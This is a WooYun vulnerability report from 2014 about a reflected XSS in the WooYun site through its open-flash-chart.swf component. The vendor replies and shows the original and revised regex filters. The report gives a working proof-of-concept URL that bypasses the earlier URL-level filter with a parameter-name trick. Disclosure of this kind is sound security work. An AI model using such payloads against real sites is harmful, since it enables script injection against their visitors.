乌云主站存在一处反射型XSS漏洞

漏洞详情

披露状态:

2014-04-17: 细节已通知厂商并且等待厂商处理中
2014-04-17: 厂商已经确认,细节仅向厂商公开
2014-04-17: 厂商提前公开漏洞,细节向公众公开

简要描述:

你们能给我500万吗

详细说明:

无良厂商乌云对善良可爱的心伤的胖子的漏洞(http://drops.wooyun.org/papers/382)的修复太简单了,仅仅是从URL层上过滤。但是你们too young了好吗,狡诈的flash根本就不是你们想象得那么单纯,它的世界观和你们根本不一样,三观不一样,怎么能够在一起。



看这里

http://drops.wooyun.org/papers/948



看这里

http://www.wooyun.org/ofc/open-flash-chart.swf?data=/ajaxdo.php?module=corptypecount%26type=%26id=1350&da%sta=http://localhost/xss.txt

漏洞证明:

再看这里

1.png





修复方案:

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-04-17 11:17

厂商回复:

漏洞真实存在,非常感谢洞主的提交

最新状态:

2014-04-17:之前修复的方法: preg_match('/^\/ajaxdo\.php\?module/is',$_GET['data']) 没有考虑flash的特殊认知 现在的临时解决方案: preg_match('/^data=\/ajaxdo\.php\?module=\w+?%26type=\w*?%26id=\d+?(%26year=\d{4})?$/is' 严格匹配链接 正在寻找最新无漏洞的openflashchart.swf,测试无误则替换


漏洞评价: